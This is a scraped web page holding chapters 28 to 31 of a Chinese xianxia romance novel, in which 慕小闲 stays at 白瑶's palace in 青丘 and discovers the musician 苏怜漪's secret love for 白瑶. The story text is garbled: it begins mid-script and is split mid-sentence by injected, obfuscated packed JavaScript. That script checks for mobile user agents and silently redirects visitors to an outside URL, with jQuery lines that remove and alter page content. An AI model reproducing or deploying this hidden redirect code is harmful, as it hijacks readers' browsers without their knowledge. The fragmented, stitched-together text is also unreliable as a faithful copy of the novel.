0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137692|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经退下了,是否要召他过来?”铿锵有力的声音在殿内回响,显得十分突兀。 白瑶的眼底被他的声音唤起了一丝清明,她迟疑地看向侍卫,有些好笑地问:“谁?” 侍卫有些尴尬:“是否要召苏先生过来?” “哈哈,哈哈哈哈,啊哈哈哈哈”白瑶转过身,舞着衣袖朝着殿内游走了几步,不明所以地笑着,笑声从千回百转的娇媚渐渐变的清朗起来。 “不必。”她转回身摆摆手,眼里的水雾已然消散,目光带着思索落在慕小闲身上。 半晌,她朝慕小闲走进几步,拉起她的手,望着她的眼睛柔声道:“你叫慕小闲是吗?今日状态不佳,让慕姑娘看笑话了。既然你从天庭来,就是青丘的客人。路途艰辛,你一定累了吧,先去休息,明日我设宴好好招待你。” 醉的荒唐,醒的突然。 此时白瑶看上去不像是个倨傲又矜持的女帝,倒有几分寻常女子的气质。 不要和喝醉的人一般见识,慕小闲在心里总结。 白瑶看了眼一旁的侍从,侍从走到慕小闲身侧,示意跟着他走。 慕小闲走出几步,下意识回头望了一眼,白瑶曼妙的身影静静立在殿内的昏暗处,阴影之下看不清神情,黑袍上的红花如同从幽暗深处渐渐生长出来,婀娜曼妙,晃人眼色。 慕小闲随着侍从在长乐宫绕弯,辗转几次,被领到了一间静谧的观园客邸。长乐宫依山而建,宫宇楼阁错落有致,依托着天然的山洞石窟,展现大自然的鬼斧神工。 许是太久没有在床上睡觉,慕小闲一沾床就沉沉地睡了过去。这一觉她睡的极安稳,直到第二日日上三竿她才被敲门声吵醒。 门外日光融融,鸟雀相鸣。 “慕姑娘,主上吩咐我来照料您的起居。您是否起身了?”门上投射出一个女子的身影。 慕小闲揉揉眼睛推开门,光线猛的照射进来让她忍不住缩回了房内。 门外日光中站着一个与她身型相仿的女孩,身着绿色襦裙,腰间系着深色的腰带,梳着简单的垂桂髻,头上别了几支小巧的白色珠花。 慕小闲起身后的困倦立马全无。 “我叫竺予,是长乐宫的侍女,负责贴身侍奉您,就住在这间卧房隔壁,您有什么事儿可以直接叫我。” 竺予端来水盆与毛巾,进来招呼慕小闲梳洗,慕小闲还是第一次受人贴身照料,面红耳赤地说:“不用不用,我自己来就行了。” “慕姑娘是客人。这些都是应该的。”小姑娘勤快得紧,拉着慕小闲一顿收拾,不一会儿衣服换了崭新的锦绣襦裙,头发也用白玉紫珠钗挽起。 竺予虽然殷勤,但口风却非常紧,慕小闲不问她就闭口不言,问了也只是避重就轻简易地回答。在慕小闲的旁敲侧击下,她了解到白瑶平日不喜出门交际,除了贴身侍奉的人,只有一位苏先生比较亲近。 至于晏离公子,压根儿没住在长乐宫。要问住在何处?不知,已经有上千年没人见过他的踪迹。 这可有点难办了。慕小闲看着铜镜里面焕然一新的自己,微微蹙起眉头。那日在春桃宴上,就连白瑶也说晏离深居简出,不知去哪儿了。她要如何才能找到晏离? 29. 第 29 章 慕小闲拿着铜镜挪不开眼,直称赞道:“你的手艺可真巧,我都快认不出自己了。” 竺予笑道:“慕姑娘天生丽质,我只是略微修饰了一下。” 约莫是沾了天庭和华尧的光,白瑶在大殿为慕小闲设了宫宴。 昨日昏暗没有看清,长乐宫的正殿宣门殿宏伟壮观,琉璃飞檐之上雕着几只瑞兽镇守,皆昂首挺胸、正气凌然地望着殿前之人,让慕小闲心里有些忐忑。 进了大殿,遥遥望见白瑶换上一身白底金线素雅大方的裙裳端坐在大殿之上,衣领的珍珠扣扣得保守又工整,双耳带着端庄的垂珠耳饰,发上斜斜地挽着几支矜重的金白玉簪。 她眉目舒展、神态坦然,雍容有度,见慕小闲出现,唇边虽微微扬起一丝笑意,但却带着不可忽视的威严。 昨日酒后失态仿佛是一场梦境。 慕小闲昂首走进去,与白瑶对望一眼,半晌才想起如何作揖,不太熟练地拱手道:“见过青丘之主。” 白瑶不和她计较,冲她抿嘴施以微笑,示意她入席。 慕小闲跟着侍从走到右侧的案几前坐下,头发上的珠花随着身体的晃动摇摇欲坠,像是一排熟透了的葡萄沉甸甸地在枝头缀着。珠花好看是好看,但委实太过繁重,一路走来压得她脖子都僵了,戴久了怕得颈椎病。 她索性想将珠钗抽出,只是抽了一半忽然觉得身后有一束幽幽的目光刺了她一下,微微侧头看到急得快要哭出来的竺予,又缓缓将抽出的珠钗塞了回去。 慕小闲一通操作完毕,才发现她对面,大殿左侧还有一只案几,案几后安静坐着一个男人。 他似乎没有留意刚才发生的事,而是半举起酒杯,目光略略低垂,落在杯中。一双弦乐眉下的桃花眼泛着淡淡的春波,殷红色的薄唇微启,衔着杯子浅尝一口。长相颇有几分风流,但举手投足气质优雅。他穿着最普通不过的青色长袍,头发用一根白绸束起,再未有其他配饰,衣着十分严肃得体。 “慕姑娘,这位是苏怜漪苏先生。”白瑶出声道。“苏先生在乐理上颇有造诣,我闲暇时喜欢舞乐,时常会请教苏先生。” 慕小闲不明所以地点点头:“幸会幸会。” 苏怜漪双手举杯置于胸前,冲慕小闲微微颔首:“慕姑娘,久仰久仰。” 慕小闲思来想去也不明白何来久仰,难道她在天庭那点儿事连青丘都有所耳闻? 侍女端着碟子走上殿来,竺予上前布菜。慕小闲瞥了一眼,造型虽然精雕细琢,但大部分是素的。 白瑶问道:“慕姑娘昨日睡的可安稳?” 慕小闲道:“睡的很好。” “青丘的口味素来清淡,喜欢突出食物的原汁原味,不知慕姑娘是否吃得惯?” 神仙大都不喜欢沾一身荤腥,虽然慕小闲却想吃肉想得紧,但毕竟吃人嘴短,慕小闲客气答道:“吃得惯的,我不挑食。” 苏怜漪饶有兴致地看向慕小闲,唇边挂着一丝浅笑:“听闻慕姑娘曾在华尧上神手下做事?” 华尧手下做事?做什么事?做仙侍可不是什么光荣的活儿。慕小闲犹豫了一下:“算是吧。”她一个大学生上天之后一无是处,沦落到给别人做家务真是想想都心酸。 “不知是哪方面的事务?”苏怜漪追问道。 慕小闲的筷子在碗里戳了戳,挂着一丝讪笑道:“就是帮华尧上神分担一些家务事......” 苏怜漪不着痕迹地看了白瑶一眼,转过头对慕小闲道:“只是做家务吗?” 不知他这话是什么意思,慕小闲的脸色有些不大好看。 苏怜漪解释道:“说来惭愧,慕姑娘应该也听说了吧,主上自幼与华尧上神有婚约。华尧上神的赫赫战绩虽然天界流传甚广,我们也有所耳闻,但与华尧上神接触甚少,对他算不得了解。据我所知,华尧上神这么多年来一直孤身一人,他这样的人,身边从未有过女眷,连零星传言也不曾有......” 他停顿了一下,眉间微微蹙起,似乎接下来的话有些难以启齿。 “你可知这是怎么回事?” 慕小闲恍然听明白了,天界神仙拥有无穷无尽的寿命,又没有凡间那么多规矩,神仙之间的风流事迹不要太多。华尧这斯就是太正经了,正经到别人以为他不正常。万万没想到他们会有这种顾忌。 她差点笑出了声。华尧要是知道他们敢这样揣测他,怕是脸都要气黑了。 难怪他们欲言又止,原来真正关心的是华尧。是了,青丘之主怎么会特意设宴招待她一个在天界没名没姓的人? “华尧上神之所以没有绯闻,是因为他素来严肃正经,又不将任何人放在眼中,自然不会随意让人靠近。至于其他的,我一个小小仙侍也不知道。”慕小闲一本正经地替华尧解释道,想着以后如果还有机会见到华尧,一定要拿这件事狠狠敲诈他一笔。 苏怜漪侧身又看了白瑶一眼,白瑶似乎微微松了一口气,拿起侍女斟满的酒杯,眯着眼睛小口地抿了一下。 白瑶放下酒杯,目光略略一抬,不经意地问道:“听闻慕姑娘近来才升仙?可是遇到了什么有趣的机缘?” 慕小闲咀嚼的速度慢了下来,认真地思索了一会儿说:“机缘说不上,可能就是时候到了吧。” 苏怜漪追问道:“慕姑娘升天前可是发生了什么?” 升天已经不是近来的事情,她的记忆有些模糊了,只记得那日她从校外回宿舍,为何出门也不太记得了。然后呢? 她低垂的眼睛突然抬起来说:“升天前天气不大好,天空乌云密布,阴沉得可怕。不过神仙升天不都是要遭雷劈的吗?” “你遇到了天雷?”苏怜漪饶有兴致地问。 “我记不清了。那日电闪雷鸣,我走在街上不知怎么就魔怔了,醒来时就飞升了。也许老天觉得是时候展现它真正的技术了吧。” 苏怜漪拍了拍手,笑道:“有趣有趣。凡人升天本就非易事,数千年才出现这么一次机缘。慕姑娘飞升得如此有新意,日后一定能成就一番事业。” 慕小闲的筷子一顿,嘴角浮现一丝自嘲的笑容。她飞升得再离奇,也不过是个没后台没仙位没仙力的散仙,这不一上天就成为了众矢之的,被天庭神官群起而攻之。成就一番事业要从何说起?不过酒桌之上,恭维的话听听就罢了,倒不必上心。 “慕姑娘,给我们讲讲凡间的事吧,凡间是什么样子?我听闻凡人发明了很多新奇的玩意......” 接下来便是随意交谈,不过慕小闲与白瑶的身份地位相差过于悬殊,对话始终像是隔着一层纱。白瑶虽然声色柔和,但内里却一直端着架子,每一句话都好似精心雕琢过的,也感受不出她的真实情绪,还不如醉酒时可可爱爱。 临了,白瑶说:“慕姑娘如果没有要紧事,可以在青丘多待几日。青丘有几处风景极好,苏先生可以带你四处游玩。” 慕小闲举起酒杯:“那我不客气了。谢谢苏先生。” 苏怜漪弯了弯那双明媚的桃花眼,道:“荣幸之至。” 一顿饭吃的毕恭毕敬,慕小闲略有束缚之感,很快就没了胃口。吃完饭,苏先生提议要带慕小闲在长乐宫逛一逛,打发了竺予先回去。 穿过长乐宫内的九曲长廊,回望身后的红墙绿瓦、雕梁画栋,听苏先生说这些建筑都是一千年前那次天火后在原址的基础上重建的。那次事故长乐宫损失惨重,白瑶闭关修养了许多年,现在的宫殿不过是还原了当初的三分之一。由此可见,当初规模之宏大,一点不比天庭的玉霄殿逊色。 青丘多山,后花园里栽的多是一些草本植物,花种类不多认不出的草倒是不少。慕小闲看到园中小径旁孤零零有一颗含羞草,玩心大起,弯下腰向它伸出手。 苏怜漪本来走在她前面,回头瞥见她正伸手触碰一株野草,瞳孔一颤大喝一声:“小心!” 他一把握住慕小闲的手腕将她拉开。 慕小闲眸中的惊愕未退:“怎么了?这不是含羞草吗?” 苏怜漪松开手,敛眉解释道:“这是一株野生荨泽,看上去娇弱可怜,实则霸道得很,如果直接触碰会引起皮肤瘙痒、溃烂。如果不及时医治,少则半月多则数年,症状反反复复,可折磨人了。” 这不起眼的小东西居然这么霸道,慕小闲赶快走开了几步。 “谢谢苏先生,要不是你,我这只手就废了。” 苏怜漪的身子一顿,声音柔和了几分:“青丘多山,物种多样,慕姑娘初来乍到不了解也是正常。先生这个称呼过于生分。你可以称呼我的名字。” “怜漪?”慕小闲看到苏怜漪的耳根有些泛红,一声微弱的“嗯......”很快消散在风中。 再往前走,路过一片阒静湖泊,池中大片大片碧绿的荷叶虚掩着水中石台。石台略高于水面,在摇晃的水波中引出一条通向湖中央的曲折小径。 苏怜漪撩起衣袍走在前头,至最后一阶时侧身回头让慕小闲扶上他的袖子,将她带入了石台尽头通往的“望山流亭”。 “望山流亭”临水看山,阒静典雅。 慕小闲悠闲倚靠着亭内的石椅,侧身半趴在围栏上,垂眸向一片碧波望去。湖泊被碧绿的荷叶与浮萍覆盖,灵活鲜红的鱼尾倏而闪现于缝隙之间。 她低头看了一会儿,转头问:“怜漪,你从小就在长乐宫吗?” 苏怜漪端坐在石亭的另一侧说:“不。我幼时在外学艺,成年后才被殿下召入宫。” 慕小闲点了点头,悄声问:“你和殿下很亲近?” 苏怜漪唇边浮现一丝淡淡的笑意,桃花眼弯了弯,眼中的神色柔和了不少:“我只是个乐师,怎么能和殿下亲近? “殿下年纪轻轻就孤身一人肩负起了整个青丘的事务,平日里难得空闲,唯一的消遣就是听听曲子,所以我常在殿下身边陪着她。殿下待我极好,其他的我不敢肖想。” 苏怜漪顿了一下,转而问道:“慕姑娘这次来青丘有什么事务吗?” 来找晏离拜师这件事是形势所迫,慕小闲不想弄得人尽皆知,于是含糊道:“不,我听说青丘好山好水,所以来这里休养生息。你也知道华尧上神脾气比较暴躁,我在他手下一忍再忍、忍无可忍、无须再忍,所以就跑出来了。” 慕小闲状似随意笑道:“白瑶殿下不是迟早要嫁与华尧上神的吗?我就来她这儿躲躲,就算被华尧上神发现了,想必看在青丘之主的面子上也不会责怪我。” 苏怜漪的眼里闪过一丝不自然,但被他很快掩盖过去:“慕姑娘真是有趣。怜漪从没见过像您这样妙语连珠的人。” 被夸赞的慕小闲心情又好了几分,嘴角的弧度扩大,语气有些洋洋得意地说:“你一直关在宫里,见识的当然都是些循规蹈矩的人,多没意思。有机会出宫多看看,世界之大无奇不有。不过像我这样天资聪慧,口吐莲花的小仙女必然不多见。” 池上清风拂 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琴音平和,发力却凶猛。犹如涛涛江水,看似平静无波,实则蕴含着巨大的威力。 苏怜漪垂眸抚琴,指尖轻拢慢拈,眼里流光四溢,整个人沉浸其中无法自拔。 慕小闲倚靠在栏杆边,不知听出了什么,注视着苏怜漪微微敛眉。 一曲完毕,慕小闲拍了拍手:“厉害厉害。怜漪果真技艺高超。” 苏怜漪的芊芊玉指从古筝上收回,掩在宽大的袖筒里:“慕姑娘谬赞。” 慕小闲垂眸了瞥了一眼他的袖口,抬眸时眼中迸发出一丝狡黠,不打算就这么轻易地放过他:“不过,我有些地方听不明白,希望怜漪指教。” 苏怜漪微微侧头:“慕姑娘请说。” 慕小闲眼珠一转,看似随意地问:“这曲子可有名字?” 苏怜漪:“是怜漪考虑不周,没有提前告知姑娘。此曲名叫盼月兮,是一首青丘古老的民乐,借月色下青丘山林间的景物,寄托欲诉还休的男儿心事。” 慕小闲应了一声,遥遥望着大片的荷叶:“曲子朴实平和,寄情山水?啧,倒是不太适合我。” 苏怜漪一时拿不准慕小闲的喜好,解释道:“此曲的精妙之处在于一个藏字,山水藏于月色之下,而情思藏于山水之中。” 慕小闲捋了捋鬓边垂下发丝,说:“这么说这曲子的意味是相当含蓄了。” 苏怜漪微微颔首:“是的。曲子中的留白恰好是因情义之深,无法言表。” 慕小闲抬眸望向他,脸上涌上一股戏谑道:“可是刚才我并没有听出你有所隐瞒,你弹奏中感情丰沛而饱满,我还以为你想借用这首曲子表达心意呢。就是不知哪家的姑娘有这个福气?” 苏怜漪脸色微变,眼睫飞快地闪了两下,很快又恢复平常:“慕姑娘在说什么?我没有......” 慕小闲眨眨眼睛:“是吗?” 苏怜漪没有接话,凝视着她的眼睛看不出情绪,双手又幽幽搭上琴弦:“慕姑娘还想听听别的曲子吗?” 慕小闲从栏杆上支起身,目光移向别处,但余光依旧留在苏怜漪身上,他的手指不似先前那般放松。 “我觉得刚才那首就不错,不如你再弹一遍。” 苏怜漪一哽,古筝玄光一闪兀地消失在他手边,气氛陡然冷了几分。 慕小闲扫了一眼原本放着古筝的地方,坐正身体,收敛了表情:“我惹你不高兴了?” 苏怜漪沉默几秒,摇了摇头:“慕姑娘,请不要和怜漪开这种玩笑。” 慕小闲一身逆骨,一听不让她做,反而有些来劲了,眼睫飞快地扑闪了几下。但苏怜漪如此义正严辞地拒绝,那一股蠢蠢欲动的心思又像是被浇灭的火苗暂且扼制:“是我不对,我跟你道歉,我对乐理一窍不通,还不懂装懂。刚才那些话我都是瞎说的,你弹得很好,我在你的曲子里听见了阒静山野、朦胧月光、潺潺流水和那些欲诉还休的心事,这是我听过最美好的曲子。” 慕小闲的语气诚恳,一双灵动的眼睛露出几分急切,眼巴巴地望着苏怜漪。苏怜漪一怔,脸上微微泛起红晕,悄然挪开了目光,不敢与她对视。 须臾,苏怜漪说道:“慕姑娘不要再捉弄怜漪了。” 少见这样内敛的男子,像是真的受了她欺负似的。 慕小闲蓦地觉察出了些趣味,继而语气轻快起来:“我没有开玩笑。我在青丘只认识你一个朋友,我向你道歉,你若是不原谅我,我在青丘可就没有朋友了。” 苏涟漪抬眼望着慕小闲:“慕姑娘当我是朋友吗?” 慕小闲微微扬起笑容:“涟漪,我都叫你名字了,自然是将你当做朋友的。” 苏涟漪点点头,目光灼灼地望着她,语气带着几分迫切:“我在长乐宫没有朋友,慕姑娘是第一个愿意做我的朋友的人。我......其实我一个男子在长乐宫很孤单,平日里除了殿下,没有人能听懂我的琴,慕姑娘若是愿意做我的朋友,能常来听我弹琴吗?” 慕小闲无比真诚地点点头说:“我愿意。” 红晕漫上苏怜漪的耳朵,他突然站起身低着头道:“我......我还有事,我先走了。”说完,不等慕小闲反应,一溜烟消失的无影无踪。 留下慕小闲一人在亭内怔然地望着他消失的方向,喃喃道:“难怪你没朋友啊......” 30. 第 30 章 翌日。天朗气清。 融融日光下,粉白蝴蝶在花丛中翩然绕过一条轻盈的弧线。 长乐宫后花园,两名穿着朴素的侍女一个坐于长廊的阑干、一个倚靠在柱子上绣手帕,在仙力的辅助下,针线在手帕上飞快穿引,半晌一幅充满灵气的花月初现雏形。长廊涂着红漆,台阶旁放着两盆寓意一帆风顺的白鹤芋,两个侍女低声细语,不知说到哪里掩着嘴呵呵笑了起来。 慕小闲今日在竺予的打扮下扎着藕色缎带,穿着浅蓝色的半臂襦裙,腰间挂着一只绿如意配饰,走在严肃正统的长乐宫中,让她产生了一种“我是来进宫选秀”的错觉。 竺予带着她在后花园闲逛,正好晃到长廊边就听到一阵如同银铃般娇俏的调笑:“你的手真巧,我要是有你半点技艺就好了。诶,你绣荷包是打算送给谁啊?” 慕小闲脚步陡然停下,哟吼,有八卦? 另一女子的声音轻柔动人:“是自己用的,不送人。” “自己用的?我才不信。你这又是花又是月,绣了半个多月了吧?是不是要送给哪家小哥哥啊?” “嘘,别瞎说。宫里哪有什么小哥哥?” “哦?没有嘛?我觉得苏先生就不错啊。他这些日子不是在宫中吗?” “别笑话我了。苏先生可不是我们能肖想的。” “知道了,我就随口一说嘛。” 慕小闲眼神微动,转了个弯儿晃到别处,装作赏花无意地侧头问竺予:“那个苏先生挺受欢迎嘛?” 竺予跟在她身后点点头:“苏先生样貌品行样样不错,又温润细腻,自然有的是人喜欢。” 慕小闲:“他有喜欢的人吗?” 竺予一顿,垂眸看着前面的路:“这我们怎么会知道?不过要是有,应该早就婚配了吧。” 看样子苏怜漪在一众寂寞的侍女中很吃得开,根本不缺爱慕者与追求者。那就怪了,难道她猜错了? 长廊一拐,隐约看到前方有个高挺的背影。 慕小闲回头对竺予说:“我肚子有些饿,你先回去准备点吃的。” 竺予一愣,疑惑道:“我们不是刚吃过才出来吗?” 慕小闲笑了:“刚吃过就不用准备了?平淡日子不就一日三餐有些盼头吗?” 竺予愣愣地点点头,觉得她这话很有些说不清道不明的韵味:“那我先回去了。您早点儿回来,当心点儿。” 慕小闲目送她远去,转身神神秘秘地跟了上去,那个笔直硬挺的身影分明就是长乐宫侍女们的梦中情人苏先生。 这拐角通往的院子看上去长久不用,平时鲜少有人特意走到这儿来,他在这里做什么? 苏怜漪立在长廊边,痴痴地望着远方出神,不知在看什么。过了一阵,又往旁边挪了几步,依旧向着一个方向目不转睛。他孤身一人负手立在九曲长廊之间,被一股落寞的气氛围绕,眼眸中仿佛下起了一帘濛濛细雨。 慕小闲偷偷摸摸地躲在离他几级台阶的柱子后面,露出半张脸疑惑地观察着他:身为男眷怎么一天天总往后花园跑啊?难怪能迷倒一片,原来是自己给自己创造的条件。他在看什么?是不是在看哪家小姑娘啊? 苏怜漪应当是个教养极好的人,举止正统,有礼有节。既然是如此规矩之人,他现在暗中偷窥的行为算什么。 表里不一,衣冠禽兽?啧...... 慕小闲悄悄挪上台阶,悄无声音地凑到苏怜漪身后顺着他的目光望去。长廊连接着前殿与寝宫,前殿转入后花园是一片姹紫嫣红的繁花,一侧是议事的内厅与书院,另一侧是一个偏僻的院子,杂草丛生看上去经年无人居住。 四下无人,不知苏怜漪究竟在看什么,就当慕小闲疑惑时,花园中走出了一个端庄的身影。未走几步,身后又跟上来两位雍容华贵的中年女人,将她围在中间。 白瑶神色自若地应付着她们,寥寥几句话后,抬手示意侍从带她们出去。 两位中年女人向白瑶作揖,白瑶转身回房,若有若无地朝这边瞥了一眼。 就在那一瞬间,苏怜漪微微向后躲了一下。 慕小闲睁大了眼睛,眼珠子往苏怜漪脸上一瞟,发现他眼底溢出了浓浓的温柔之色,温柔之中又带着三分痛苦,仿佛在看什么......心肝宝贝? 慕小闲心思一动,难道他对那些年轻漂亮的侍女不感兴趣,喜欢的是有权有钱的姐姐?他该不是不安于在宫里当个乐师,而是想嫁进哪位青丘臣子家中做主夫?难怪他害怕别人看出他的秘密,看来他的思想觉悟相当高啊! 白瑶的身影消失在书苑门口,苏怜漪回神,轻叹了口气。垂着头转身,余光中瞥见了一双小巧的鞋子。他震惊地后退半步,看着面前表情错愕的慕小闲,心里一股郁结涌了上来。 “慕姑娘是何时来的?为何站在怜漪身后不出声?” 慕小闲被人抓包还一脸无所顾忌地说:“我碰巧路过,看你太过专注,不忍心打扰你。” 苏怜漪身体微颤,弦乐眉压着带着怒意的双眸,显然不信她的话:“慕姑娘,偷窥是小人行径。” 慕小闲蹙着眉,满不在乎地嘟囔:“我偷窥什么了?我光明正大地站在这里。倒是某些人,不知道在这儿站了多久,一双眼睛直勾勾的都快粘到别人身上去了。” 苏怜漪眼睫微颤,脸色顿时不大好看,警惕地问道:“你看到什么了?” 慕小闲眼波一挑,故作高深地试探道:“其实我能理解你的心情。毕竟人总想往高处走,你这么优秀,只做个乐师太可惜了。如果能嫁个真心待你好的女人,何必在意世俗的眼光......” “不要说了。”苏怜漪皱着眉道:“别说了。” “为什么?你被拒绝了吗?” 苏怜漪脸色微变,颤抖着说:“你什么也不懂。” 慕小闲面上一晒,撇撇嘴:“我是不懂。我要有你这觉悟,可能就不会沦落至此了。” 苏怜漪脸色变得更差,慕小闲赶忙摆摆手:“我不是这个意思。我觉得你条件不错,可以争取一下。你这心悦君兮君知不知啊?” 苏怜漪垂眸平息片刻:“她定亲了。” 慕小闲问:“那公子是比你貌美,还是比你会弹琴?” 苏怜漪目光闪烁。 “那就是不如你。” “不是!”他抬起头,一双桃花眼里是挣扎也是无奈:“他很厉害。她们很般配。” 慕小闲心想:你要真想的明明白白,弹曲子的时候就不会魂不守舍,也不会出现这副落花有意流水无情的样子了。 “当局者迷旁观者清。你要是觉得心里烦闷可以找个知心人倾诉,憋在心里解决不了问题。”慕小闲深呼吸一口气:“我拿你作朋友,你可以和我聊聊。我向你保证,我口风很紧不会说出去的。” 苏怜漪看着她沉默半晌,摇摇头道:“不必。慕姑娘请回。”然后转身走出长廊,向花园中央走去。 慕小闲看他单薄的身影没入花丛中,觉得这事还没完,不能这么放过他,于是追了上去跟在了他身后。 苏怜漪走了几步,停下脚步回头看她。 慕小闲扭头四顾,摸摸伸出来的花瓣装作赏花的样子。 苏怜漪知道她跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137694|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着自己,但没有证据又碍于礼数,只得持手继续向前。 复行数十步,苏怜漪陡然停下,慕小闲一个急刹车,停在离他不到一尺的距离。 苏怜漪敛眉,嘴抿成了一条线,眼里写满了不悦:“慕姑娘这是何意?” 慕小闲无辜地瞪大了眼睛:“我没什么意图,就是随便逛逛。你走你的,我没跟着你。” 苏怜漪可能没见过这么无赖的人,气的胸口起起伏伏:“慕姑娘扪心自问,你到底有没有跟着我?” “我为什么要跟着你,这条路又长又宽,只有你能走吗?那你得在门口立个牌子啊,写上只有苏怜漪和狗能入内。这样我自然就不会进来了。” 苏怜漪额上青筋一跳,攥着手说:“你......” “你们在说什么?”清朗的声音从苏怜漪身后传来,苏怜漪倒吸一口冷气,身体一颤,缓缓转过身。 白瑶一身白衣似雪站在簇拥的花堆旁望着他,小巧恬静的脸庞被红花衬得娇嫩亮泽,一双媚眼噙着笑,小巧的红唇微微上扬。 苏怜漪有些肢体不协调地后退半步,眼里闪过一丝慌乱。“我......我们......” “苏先生与慕姑娘在后花园游玩是吗?”白瑶问。 苏怜漪顿了一下,点点头轻声说:“是的。” 白瑶越过苏怜漪看向慕小闲问:“慕姑娘玩得可开心?” 慕小闲瞥了一眼苏怜漪,故意捏着嗓音说:“玩的......” 苏怜漪的余光带着警告落在她身上,她赶紧接上:“当然开心。” “那就好。看来你们相处的不错。”白瑶宽慰的眼神在她们身上悠悠转了一圈,说:“慕姑娘我还有事失陪了,你们慢慢看。苏先生,替我好好招待慕姑娘。” 苏怜漪作揖:“是的。” 白瑶转身,苏怜漪依依不舍地目送她走远,直到她的身影消失,还伫立在原地久久不能回神。 慕小闲凑上前去:“不是说要好好招待我吗?嗯?苏先生~” 苏怜漪打了个寒噤,头疼地转身看着这个烫手山芋。 慕小闲看着白瑶离去的方向啧啧称奇,果然旁观者清,这下她算是看明白了:“看来我判断有误。兄台,你的思想觉悟居然比我想像的还要高!失敬失敬!” 意料之外,情理之中。苏怜漪心中之人居然是白瑶...... 她一不小心居然吃到了一个惊天大瓜。宫里的侍女肖想着才貌双全的乐师,但这位乐师却心系金枝玉叶的殿下,而这位殿下已经和天庭百战百胜的上神定亲了。 食物链一环套一环,不得不说,青丘上上下下的人都相当有追求。 想来,那日在大殿上他的身体总是不自觉地往白瑶的方向侧身,眼神多次在白瑶身上停留,如果稍有留意就会发现他看白瑶的眼神早就暴露了,或者说他早就掩饰不住了。 慕小闲叹了口气:“我本来想鼓励你的,但对方若是华尧,属实是惹不起。日后这件事情要是不小心暴露了,你遇见华尧,千万别把我说的话告诉他。我绝对没有想过让他戴绿帽子。” 苏怜漪眼里突然闪过一线寒光:“你怕他?” 慕小闲一哽,心里暗道:我怕他作甚?我这是对神明有敬畏之心!但明面上她是从华尧手下逃跑的仙侍,不能随意辱骂前东家,不然以后不好找下家。 “华尧上神是天庭第一战神,在天界威名远扬,得罪他对大家都不好。白瑶你就别想了,宫里那么多可可爱爱的侍女,不然你换一个?” “呵。”苏怜漪眼神一凌,嗤笑一声:“你当我是什么?” 31. 第 31 章 苏怜漪一直将这份求而不得的爱慕与思念深埋心底,虽然苦于无人倾诉,但也因此无人阻止而肆意生长,愈演愈烈。如今被一个外人发现,还欲加干涉,心中压抑多年的火苗终于熊熊燃烧起来。 慕小闲规劝道:“本来你近水楼台应该先得月,但这样偷偷摸摸的暗恋根本没有成功的几率,不如尽早放弃。” 苏怜漪一身寡淡的青衣负手站在花丛中,压着眉头,眼里是经年沉淀的偏执与不满:“慕姑娘,你不明白。我不求她知道,不求她能回应,只要能守在她身边就好。” 慕小闲只是暂时在这里落脚,没必要多管闲事但拿人手软吃人嘴短,对华尧还是有那么一点感激之情的。不知道也就罢了,碰上了必然要捍卫他头顶的颜色。 于是她摆上一副语重心长的样子,十分诚恳地劝道:“你是不是觉得如此热烈地喜欢一个人,为她遮风挡雨、默默奉献,特别无私特别伟大?这样只是在感动你自己,她什么都不知道,也未必领情。这种单方面的感情输出毫无价值,还耗费了你个人的时间精力以及身体健康。你都不尊重你自己,还指望别人来爱你?” 慕小闲用词太直白,红晕渐渐爬上苏怜漪的脸颊,他垂眸思忖起来。 慕小闲暗道:没错,想通了就好。你与白瑶不合适的。 苏怜漪的桃花眼流露出惹人怜爱的忧愁,身后落花飘零,好像也在为他惋惜。 不知怎的他眼波一变,敛眉抬眼看向前方,坚定的说:“不。我不会放弃的。” 慕小闲脑袋一歪:我听到了什么? 苏怜漪转向慕小闲,眼睛变得异常明亮,语气坦然又坚定地说:“你说的对。我应该告诉她。” “等等,你清醒一点。”慕小闲慌了:“你拱哪颗白菜不好,你要拱那颗长的最好,还收了别人定金的?华尧别的不行,打架一个顶十。他当年神魔大战一夫当关万夫莫敌,天庭都没人敢招惹他,你这身板在他手上连一招都撑不了。他的绝招你是没见过,绝对能把长乐宫轰轰了。” 苏怜漪眼色深沉,皱起眉头握了握拳:“没错,殿下温婉贤淑,怎么能嫁给那种莽夫!” 远在千里之外的华尧风评被害。 慕小闲:???华尧,是我对不起你。 慕小闲心里翻来覆去那个气啊,她好不容易跑来了青丘,还得给华尧的婚事善后。但自己惹出来的事情不能撒手不管,不然苏怜漪失败之后反咬她一口,她找谁说理去? 她都能预想到这件事若是传出去,天庭那帮“干啥啥不行,吃瓜第一名”的神仙背地里如何议论她。 苏怜漪躲在白瑶议事必经的花坛后面,身体掩在花花草草之中,露出两只眼睛在树叶间偷瞄。慕小闲老老实实蹲在他脚边,状若灵魂出窍“我是谁我在哪儿我在干什么”。 苏怜漪撇了她一眼,压着声音说:“慕姑娘,不好意思麻烦你了。我实在不知道该怎么做。” 慕小闲一个激灵醒过来:“不,我得感谢你。真的,至少你还将我带在身边,让我能明白自己是怎样一步一步走向毁灭的。” 低着头匆匆路过的侍女疑惑地抬头看了他们一眼,慕小闲挤眉弄眼示意她快走。侍女低下头往别处去,心里嘀咕着苏先生怎么和慕姑娘鬼鬼祟祟的。 苏怜漪陪在白瑶身侧侍奉多年,虽然明知她早有亲事,但一直未曾见过传说中的华尧上神。在他的记忆中,白瑶多年来不曾见过这位上神,也不加提起。 他私以为白瑶并不在意这桩亲事。然而,白瑶去天庭赴宴发生的事情他有所耳闻,似乎和他揣测的大相径庭。 他每夜辗转反侧惴惴不安,每日见到白瑶心里都好像被捅了一刀。 